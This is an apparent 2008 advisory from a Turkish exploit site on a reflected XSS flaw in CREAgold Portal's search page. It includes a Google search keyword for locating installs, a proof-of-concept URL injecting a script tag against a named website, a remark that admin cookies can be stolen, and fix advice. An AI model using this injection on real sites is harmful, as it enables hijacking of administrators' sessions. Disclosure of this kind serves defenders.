CREAgold Portal XSS Vulnerability | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > CREAgold Portal XSS Vulnerability

Madde
	Author : Bug Researchers
	Date : 11.02.2008 18:54:11
	# CREAgold Portal XSS Vulnerability [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : CREAgold Portal # Vulnerable Type : XSS # Google Keyword : CREAgold # Infection : XSS ile admin cookilerine erisim saglanabilir. # Bug Fix Advice : Arama sayfasinda yapilan sorgularin belirli karakterlerin disina çikamamasi Için ’,+,% gibi kodlarin scriptte yasaklanmasi ayrica html kodlarininda scriptte engellenmesi gerekmektedir. # author : Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > Url/Directory http://www.biztrabzonluyuz.com/default.asp?sayfa=arama1&aranan=><script>alert(1)</script>%20&tur1=&pn= < -- bug code end of -- >